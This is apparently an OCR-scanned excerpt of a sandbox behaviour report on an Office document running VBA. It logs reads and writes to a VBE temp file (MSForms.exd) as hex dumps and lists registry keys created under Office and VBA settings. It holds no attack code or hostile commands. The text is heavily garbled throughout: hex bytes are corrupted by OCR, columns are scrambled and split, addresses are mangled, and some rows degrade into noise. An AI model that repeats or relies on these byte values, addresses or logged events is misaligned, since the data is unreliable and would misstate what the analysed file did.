C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ffffffff24000000 ...$......... success or wait 1 7FEE94CFDDC unknown
1c 00 00 00 Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 06 00 00
do 03 00 00 0f 00 00
00

success or wait 1 7FEE94CFDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff f ff ff 80 00 00 00 ff ................ success or wait 1 7FEE94CFDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 10 00 00
10 Oe 00 00 Of 00 00
00

success or wait 1 7FEE94CFDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 02 00 00 ff ................ success or wait 1 7FEE94CFDDC unknown
ff ff ff Of 00 00 00
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File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 78 00 00 ... X.XG...... success or wait 1 7FEE94CFDDC unknown
78 47 00 00 0f 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 Ob 00 00
54 06 00 00 0f 00 00
00

success or wait 1 7FEE94CFDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 L0 00 00  ....ocoveeeneee success or wait 1 7FEE94CFDDC unknown
10 Oe 00 00 Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff f ff ff 00 00 00 00 ff ................ success or wait 1 7FEE94CFDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 200000 00 ... ..cccooeeee success or wait 1 7FEE94CFDDC unknown
10 00 00 00 Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff f ff ff 00 00 00 00 ff ................ success or wait 1 7FEE94CFDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff f ff ff 00 00 00 00 ff ................ success or wait 1 7FEE94CFDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff f ff ff 00 00 00 00 ff ................ success or wait 1 7FEE94CFDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 14500 26 21 00 00 ff ff ff ff  &!..oceviiiiiiiiiie, success or wait 1 7FEE94CFDDC unknown
00 00 00 00 00 00 00
00 03 00 00 00 00 00 ..
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 Q0 ..,..
00 18 00 00 00 00 00
00 00 14 00 00 00 00 ..
00 00 00 ff ff ff ff 00
00 00 00 00 00 00 00
ff ff ff ff 00 00 00 00
04 00 00 00 03 00 03
80 00 00 00 00 00 00
00 00 ff ff ff ff 26 21
01 00 ff ff ff ff 00 00
00 00 00 00 00 00 03
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 30
00 00 00 00 00 00 00
2c 00 00 00 00 00 00
00 ff ff ff ff 00 00 00
00 00 00 00 00 ff f ff
ff 00 00 00 00 04 00
00 00 03 00 03 80 00
00 00 00 00 00 00 00
ff ff ff ff a6 10 02 00 ff
ff ff ff 00 00 00 00 00
00 00 00 03 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 48 00 00 00
00 00 00 00 44 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 128 c8 0d 00 00 f8 07 00
00 €0 0d 00 00 10 08
00 00 f0 Oc 00 00 28
08 00 00 78 Oc 00 00
40 08 00 00 dO Ob 00
00 98 0d 00 00 e8 Ob
00 00 98 0a 00 00 68
0d 00 00 c0 Oc 00 00
18 Oc 00 00 88 08 00
00 90 09 00 00 88 Ob
00 00 b0 0d 00 00 58
0Ob 00 00 40 0Ob 00 00
28 0b 00 00 f8 0d 00
00 08 0d 00 00 88 05
00 00 cO 03 00 00 90
Oc 00 00 e0 Oa 00 00
50 0d 00 00 20 0d 00
00 b8 Ob 00 00 d8 Oc
00 00

success or wait 1 7FEE94CFDDC unknown
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File Path

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

Copyright null 2021

Offset Length Value

unknown 3600

unknown 976

5d bd 8a9e e9cdesd ]
4e 8e e7 de 68 f1 7f

Ascii

88 28 fe ff ff ff ff ff ff ff .0..d.

01 43 50 66 0Of be 1a

10 8b bb 00 aa 00 30 ...

Oc ab 00 00 00 00 ff
ff ff ff 13 43 50 66 Of
be 1a 10 8b bb 00 aa
00 30 Oc ab 64 00 00
00 ff ff ff ff Ob 43 50
66 Of be 1a 10 8b bb
00 aa 00 30 Oc ab c8
00 00 00 ff ff ff ff 02
e0 f6 be 74 a8 1a 10
8b ba 00 aa 00 30 Oc
ab 2c 01 00 00 ff ff ff
ff 03 e0 f6 be 74 a8
1a 10 8b ba 00 aa 00
30 Oc ab 90 01 00 00
ff ff ff ff 20 47 bb 10
97 7 ce 11 b9 ec 00
aa 00 6b 1a 69 f4 01
00 00 ff ff f ff e0 03
Oc 57 97 f7 ce 11 b9
ec 00 aa 00 6b 1a 69
58 02 00 00 ff ff ff ff
90f5 72 ec 75 f3 ce
11 b9 e8 00 aa 00 6b
1a 69 bc 02 00 00 ff
ff ff ff 70 23 b0 82 bc
b5 cf 11 81 0f 00 a0
c9 03 00 74 20 03 00
00 ff ff ff ff 71 23 b0
82 bc b5 cf 11 81 0f
00 a0 c9 03 00

20 03 00 00 01 00 00
00 ff ff ff f ff ff ff ff 84
03 00 00 01 00 00 00
ff ff ff ff ff ff ff ff 8 03
00 00 01 00 00 00 ff
ff ff ff ff ff ff ff 4c 04
00 00 01 00 00 00 ff
ff ff ff ff ff ff ff bO 04
00 00 01 00 00 00 ff
ff ff ff ff ff f ff bc 02
00 00 01 00 00 00 ff
ff ff ff ff ff ff ff d8 Oe
00 00 01 00 00 00 ff
ff ff ff 70 00 00 00 68
10 00 00 03 00 00 00
ff ff ff ff ff ff ff ff 04 10
00 00 01 00 00 00 ff
ff ff ff 90 00 00 00 30
11 00 00 03 00 00 00
ff ff ff ff ff ff ff ff a0 Of
00 00 01 00 00 00 ff
ff ff ff bO 00 00 00 94
11 00 00 03 00 00 00
ff ff ff ff ff ff ff ff 64 19
00 00 01 00 00 00 ff
ff ff ff dO 00 00 00 28
23 00 00 03 00 00 00
ff ff ff ff ff ff ff ff c8 19
00 00 01 00 00 00 ff
ff ff ff f0 00 00 00 fO
23 00 00 03 00 00 00
ff ff ff ff ff ff ff

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

7FEE94CFDDC unknown

7FEE94CFDDC unknown
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File Path

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

Copyright null 2021

Offset Length Value

unknown 2256

unknown 28

unknown 512

00 00 01 03 00 00 00
00 c8 0d 00 00 01 00
01 03 00 00 00 00 e0
0d 00 00 02 00 00 01
00 00 00 00 00 00 00
00 03 00 00 01 00 00

00 00 00 00 00 00 04 ..

00 00 01 00 00 00 00
00 00 00 00 05 00 00
01 00 00 00 00 01 00
00 00 06 00 00 01 00
00 00 00 02 00 00 00
07 00 00 01 00 00 00
00 00 00 00 00 08 00
00 01 00 00 00 00 00
00 00 00 09 00 00 01
00 00 00 00 00 00 00
00 0a 00 00 01 00 00
00 00 01 00 00 00 Ob
00 00 01 00 00 00 00
02 00 00 00 Oc 00 00
01 00 00 00 00 00 00
00 00 0d 00 00 01 00
00 00 00 00 00 00 00
Oe 00 00 01 00 00 00
00 00 00 00 00 0f 00
00 01 00 00 00 00 01
00 00 00 10 00 00 01
00 00 00 00 02 00 00
00 11 00 00 01 00 00
00 00 00 00 0000 12
00 00 01 00 00 00 00
00 00 00 00 13 00 00
01 00 00 00 00 00 00
00 00 14 00 00 01 00
00 00 00 01 00 00 00
1500 00

b0 0d 00 00 00 00 OO ............ -.stdole2.tbWwwWw

00 02 00 00 00 2d 00
73 74 64 6f 6¢ 65 32
2e 74 6¢ 62 57 57 57

00 3f 00 00 48 22 00
00 e8 2d 00 00 34 47
00 00 70 45 00 00 ec

e4 420000 b8 3e 00 .C...

00 48 45 00 00 14 2e

000058470000¢c8 ..;

29 00 00 58 46 00 00
fc 43 00 00 f4 3a 00
00 ac 3f 00 00 f0 21
00 00 44 39 00 00 dO
4400 00 d4 43 00 00
d4 40 00 00 d4 3b 00
00 20 24 00 00 d8 39
00 00 a4 37 00 00 ac
41 00 00 d0 35 00 00
34 43 00 00 a4 44 00
00 Oc 43 00 00 9c 40
00 00 a0 46 00 00 10
47 00 00 b8 2d 00 00
b0 3d 00 00 1c 40 00
00 38 42 00 00 a8 3b
00 00 38 3d 00 00 cO
3f 00 00 a0 42 00 00
24 4500 00 30 41 00
00 20 30 00 00 a0 3e
00 00 98 45 00 00 e8
4100 00 48 43 00 00
10 26 00 00 4c 2d 00
00 38 2b 00 00 70 2f
00 00 40 3f 00 00 40
3e 00 00 f8 31 00 00
74 1f 00 00 28 3e 00
00 cc 38 00 00 94 27
00 00 f8 42 00 00 58
3e 00 00 b0 43 00 00
88 3¢ 00

.@?.@>...1.1...(>..8..."..
.B.X>..C..<.

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

1

7FEE94CFDDC unknown

7FEE94CFDDC unknown

7FEE94CFDDC unknown
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File Path

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

Copyright null 2021

Offset Length Value Ascii
unknown 18296  ff ff ff ff ff ff ff ff 07 00 .......... C.MSFormsW.........

unknown 1620

430f4d 53 46 672 8

6d 73 57 00 00 00 00 ..OLE_COLORWWWA.......
ff ff ff ff 09 38 e4 f5 4f .8(0OLE_

4c 45 5f 43 4f 4c 4f  HANDLEWW.........8.WOL
52 57 57 57 64 00 00 E_OPTEXC

00 ff ff ff ff 0a 38 28  LUSIVE,.......8..IFontWW
6f 4f 4c 4554841 W.........

4e 44 Ac 45 57 57 ¢8 (U.Font.........8.*fmDrop
0000 00 ffff ff ff 10  EffectX........8.bfmAction....

38 c2 57 4f 4c 45 5f
4f 50 54 45 58 43 4c
55 53 49 56 45 2¢ 01
00 00 ff ff f ff 05 38
9f ce 49 46 6f 6e 74
57 57 57 90 01 00 00
ff ff ff ff 04 28 55 10
46 6f 6e 74 f4 01 00
00 ff ff ff ff Oc 38 a9
2a 66 6d 44 72 6f 70
45 66 66 65 63 74 58
02 00 00 ff ff ff ff 08
38 8c 62 66 6d 41 63
74 69 6f 6e bc 02 00
00 ff ff ff ff 10 38 8f
6b 49 44 61 74 61 41
75 74 6f 57 72 61 70
70 65 72 20 03 00 00
ff ff ff ff Oe 38 dc 56
495265747572 6e
49 6e 74 65 67 65 72
57 57 84 03 00 00 ff
ff ff ff Oe 38 €0 39 49
52 65 74 75 72 6e 42
6f 6f 6¢

22 00 4d 69 63 72 6f
73 6f 66 74 20 46 6f
72 6d 73 20 32 2e 30
20 4f 62 6a 65 63 74
204c 6962726172
79 1c 00 43 3a 5¢ 57
69 6e 64 6f 77 73 5¢
7379737465 6d 33
32 5c 66 6d 32 30 2e
68 6¢ 70 57 57 04 00
4e 6f 6e 65 57 57 04
00 43 6f 70 79 57 57
04 00 4d 6f 76 65 57
57 0a 00 43 6f 70 79
4f 72 4d 6f 76 65 03
00 43 75 74 57 57 57
0500 50 61 73 74 65
57 08 00 44 72 61 67
44 72 6f 70 57 57 07
00 49 6e 68 65 72 69
74 57 57 57 02 00 4f
6e 57 57 57 57 03 00
4f 66 66 57 57 57 07
00 44 65 66 61 75 6¢C
74 57 57 57 05 00 41
72 72 6f 77 57 05 00
43 72 6f 73 73 57 05
00 49 42 65 61 6d 57
08 00 53 69 7a 65 4e
45 53 57 57 57 06 00
53 69 7a 65 4e 53 08
00 53 69 7a 65 4e 57
53 45 57 57 06 00 53
69 7a 65 57 45 07 00
5570417272 6f77
57 57 57 09 00 48 6f
757247

..... 8.kIDataAutoWrapper
...8.VIReturnintegerWWw.....
....8.9IReturnBool

".Microsoft Forms 2.0
Object L
ibrary..C:\Windows\system
32\fm
20.hlpWW..NoneWW..Cop
yWW..Move
WW..CopyOrMove..CutW
WW..PasteW
..DragDropWW..InheritWW
W..OnWW

WW..Off WWW..DefaultWw
WW..ArrowW
..CrossW..IBeamW..SizeN
ESWWW..
SizeNS..SizeNWSEWW..S
izeWE..Up
ArrownWWW..HourG

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

7FEE94CFDDC unknown

7FEE94CFDDC unknown
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File Path

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

Copyright null 2021

Offset Length Value

unknown 3600

unknown 16

unknown 4
unknown 2

unknown 22

unknown 12

unknown 88

unknown 88

1a 00 08 40 08 00 08 ...

80 1a 00 06 40 06 00
06 80 1a 00 Ob 40 Ob

00 0b 80 1a 00 02 40 .

02 00 02 80 1d 00 ff
7f 64 00 00 00 1a 00
ff 7f 20 00 00 00 1d
00 ff 7f 2c 01 00 00
1a 00 ff 7f 30 00 00
00 1a 00 ff 7f 38 00
00 00 1d 00 ff 7f 19
00 00 00 1a 00 ff 7f
48 00 00 00 1a 00 00
40 18 00 00 80 1a 00
fe 7f 58 00 00 00 1a
001340170013 80
1d 00 ff 7f 25 00 00
00 1a 00 ff 7f 70 00
0000 1a 00 1040 10
00 10 80 1a 00 fe 7f
80 00 00 00 1a 00 03
4003 00 03 80 1d 00
ff 7 31 00 00 00 1a
00 ff 7f 98 00 00 00
1d 00 ff 7f 3d 00 00
00 1a 00 ff 7f a8 00
00 00 1a 00 Oc 40 Oc
00 Oc 80 1d 00 ff 7f
49 00 00 00 1a 00 ff
7fc0 00 00 00 1d 00
03 00 f4 01 00 00 1d
00 ff 7f 55 00 00 00
1a 00 ff 7f d8 00 00
00 1d 00 ff 7f 61 00
00 00 1a 00 ff 7f e8
00 00 00 1d 00 ff 7f
6d 00 00

03 00 fe ff ff ff 57 57
03 00 ff ff ff ff 57 57

24 03 00 00
2400

00 00 19 00 19 80 00
00 00 00 Oc 00 4c 00
11 44 01 00 01 00 0O
00

00 00 00 00 b0 Oe 00
00 0a 00 00 00

00 00 00 00 00 00 00
00 02 00 00 00 02 00
00 00 03 00 00 00 03
00 00 00 04 00 00 00
04 00 00 00 05 00 00
00 05 00 00 00 06 00
00 00 06 00 00 00 07
00 00 00 07 00 00 00
08 00 00 00 08 00 00
00 10 00 01 60 11 00
016012000160 13
00 01 60 14 00 01 60
1500 01 60

a0 Oe 00 00 a0 Oe 00

00c40e0000c4 0e .4..4..d.d.
00 00 e8 0e 00 00 €8 ..

0Oe 00 00 Oc Of 00 00
Oc Of 00 00 34 0f 00
00 34 0f 00 00 64 Of
00 00 64 0f 00 00 9c
0f 00 00 9c 0f 00 00
c4 0f 00 00 c4 0f 00
00 ec 0f 00 00 14 10
00 00 3¢ 10 00 00 68
10 00 00 ac 10 00 00
c4 10 00 00

Completion

success or wait

success or wait

success or wait
success or wait

success or wait

success or wait

success or wait

success or wait

Source

Count Address Symbol

1

107
1956
1757

1215

107

107

7FEE94CFDDC unknown

7FEE94CFDDC unknown

7FEE94CFDDC unknown
7FEE94CFDDC unknown
7FEE94CFDDC unknown

7FEE94CFDDC unknown

7FEE94CFDDC unknown

7FEE94CFDDC unknown
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 88 00 000000240000 ...$..H...l..oooooeunenenee success or wait 107 7FEE94CFDDC unknown
00 48 00 00 00 6¢ 00 ...D...h....
000090000000b4 ...@...d..
00 00 00 d8 00 00 00
fc 00 00 00 20 01 00
00 44 01 00 00 68 01
00 00 8¢ 01 00 00 b0
01 00 00 d4 01 00 00
f8 01 00 00 1c 02 00
00 40 02 00 00 64 02
00 00 88 02 00 00 ac
02 00 00 dc 02 00 00

00 03 00 00
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 4d 53 46 54 MSFT success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 02 00 01 00 success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 09 04 00 00 success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 51 00 Q. success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 00 00 . success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 02 00 . success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 00 00 . success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 06 00 00 00 success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 91 00 00 00 success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 b3 02 00 00 success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 0d 23 00 00 .. success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 2400 00 00 $... success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 ff ff ff ff success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 20 00 00 00 success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 80 00 00 00 success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 0d 00 00 00 success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 bc 00 00 00 success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 580 00 00 00 00 64 0000 ....d....... e ) ST success or wait 1 7FEE94CFDDC unknown

00 ¢8 00 00 00 2c 01

00 00 90 01 00 00 f4

01 00 00 58 02 00 00

bc 02 00 00 20 03 00

0084 030000e803 <.
00 00 4c 04 00 00 bO ..
04 0000 14 050000 ..
78 05 00 00 dc 05 00
00 40 06 00 00 a4 06
00 00 08 07 00 00 6¢
07 00 00 dO 07 00 00
34 08 00 00 98 08 00
00 fc 08 00 00 60 09
00 00 c4 09 00 00 28
0a 00 00 8c 0Oa 00 00
f0 0a 00 00 54 Ob 00
00 b8 0b 00 00 1c Oc
00 00 80 0c 00 00 e4
Oc 00 00 48 0d 00 00
ac 0d 00 00 10 Oe 00
00 74 Oe 00 00 d8 Oe
00 00 3c 0f 00 00 a0
0f 00 00 04 10 00 00
68 10 00 00 cc 10 00
003011000094 11
0000 f8 11 00 00 5¢
12 00 00 c0 12 00 00
24130000 88 13 00
00 ec 13 00 00 50 14
00 00 b4 14 00 00 18
1500 00 7c 15 00 00
€0 1500 00 44 16 00
00 a8 16 00 00 Oc 17
0000 70 17 00 00 d4
17 00 00 38 18 00 00
9c 18 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 8803 0000 a4 3800 ..... 8 success or wait 1 7FEE94CFDDC unknown
00 ff ff ff ff Of 00 00
00
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 8c 4e 00 00 d0 08 00 .N.............. success or wait 1 7FEE94CFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 5¢ 57 0000 1c 00 00 \W....
00 ff ff ff ff Of 00 00
00

success or wait 1 7FEE94CFDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 bc 4a 00 00 d0 03 00 .J.............. success or wait 1 7FEE94CFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 2c3c 0000800000 ,<....cccoeeee success or wait 1 7FEE94CFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ac 3c 000010 0e 00 .<.............. success or wait 1 7FEE94CFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 7857 00 00 00 02 00 XW.............. success or wait 1 7FEE94CFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 7859 00 00 78 47 00 XY..XG.......... success or wait 1 7FEE94CFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 f0a0 00005406 00 ....T........... success or wait 1 7FEE94CFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 44 a7 00 00 10 0e 00 D............... success or wait 1 7FEE94CFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff f ff ff 00 00 00 00 ff ................ success or wait 1 7FEE94CFDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 54 b50000100000 T..oocveneenes success or wait 1 7FEE94CFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 00 00 00 ff ................ success or wait 1 7FEE94CFDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff f ff ff 00 00 00 00 ff ................ success or wait 1 7FEE94CFDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff f ff ff 00 00 00 00 ff ................ success or wait 1 7FEE94CFDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 14500 26 21 00 00 64 b5 00
00 00 00 00 00 00 00
00 00 03 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 000000 ..,..
00 00 18 00 00 00 00 ..
00 00 00 14 00 00 0O ..
00 00 00 00 ff ff ff ff
00 00 00 00 00 00 00
00 ff ff ff ff 00 00 00
00 04 00 00 00 03 00
03 80 00 00 00 00 00
00 00 00 ff ff ff ff 26
21 01 00 64 b5 00 00
00 00 00 00 00 00 00
00 03 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 30 00 00 00 00 00
00 00 2c 00 00 00 00
00 00 00 ff ff ff ff 00
00 00 00 00 00 00 00
ff ff ff ff 00 00 00 00
04 00 00 00 03 00 03
80 00 00 00 00 00 00
00 00 ff ff ff ff a6 10
02 00 64 b5 00 00 00
00 00 00 00 00 00 00
03 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
48 00 00 00 00 00 00
00 44 00 00

success or wait 1 7FEE94CFDDC unknown

File Read

Source
File Path Offset Length Completion Count Address Symbol

C:\Users\user\AppData\Roaming\Microsoft\UProoA\CUSTOM.DIC unknown 1 success or wait 1 7FEE91AEC53 ReadFile
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File Path
C:\Users\user\AppData\Roaming\Microsoft\UProo\CUSTOM.DIC

Registry Activities

Key Created

Key Path

HKEY_CURRENT_USER\Software\Microsoft\VBA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\F7253

Key Value Created

Key Path Name Type
HKEY_CURRENT_USER\Software\Microsoft\Shared Cambria Math binary
Tools\Panose

HKEY_CURRENT_USER\Software\Mic F7253 binary

rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F7253

Copyright null 2021

Source

Offset Length Completion Count Address Symbol
unknown 4096 success or wait 1 7FEE91B6CAC ReadFile
Source
Completion Count Address Symbol
success or wait 1 7FEE945E72B RegCreateKeyExA
success or wait 1 7FEE945E72B RegCreateKeyExA
success or wait 1 7FEE945E72B RegCreateKeyExA
success or wait 1 7TFEE9449ACO0 unknown
success or wait 1 7TFEE9449ACO unknown
success or wait 1 7TFEE9449ACO unknown
success or wait 1 7TFEE9449ACO0 unknown
Source
Data Completion Count Address Symbol
02 04 05 03 05 04 06 03 02 04 success or wait 1 7TFEE9449ACO0 unknown
04 00 00 00 1C 07 00 00 2A 00  success or wait 1 7FEE9449ACO0 unknown

00 00 43 00 3A 00 5C 00 55 00
73 00 6500 72 00 73 00 5C 00
4100 6C 00 62 00 75 00 73 00
5C 00 41 00 70 00 70 00 44 00
61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00
54 00 65 00 6D 00 70 00 5C 00
69 00 6D 00 67 00 73 00 2E 00
68 00 74 00 6D 00 04 00 00 00
69 00 6D 00 67 00 73 00 00 00
00 00 01 00 00 00 00 00 00 00 3F
C4 36 F6 2C F4 D6 01 53 72 OF
00 53 72 OF 00 00 00 00 00 DB
04 00 00 02 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 FF FF FF FF 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
nn NN N0 N0 NN NN NN NN NN NN NN
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.0\Common

Copyright null 2021

Name

Type

PropertiesWindow unicode

MainWindow

MdiMaximized

unicode

unicode

00 00 00 00 00 00 00 00 00 00 00
B9 00 00 00 00 00 00 00 00 00
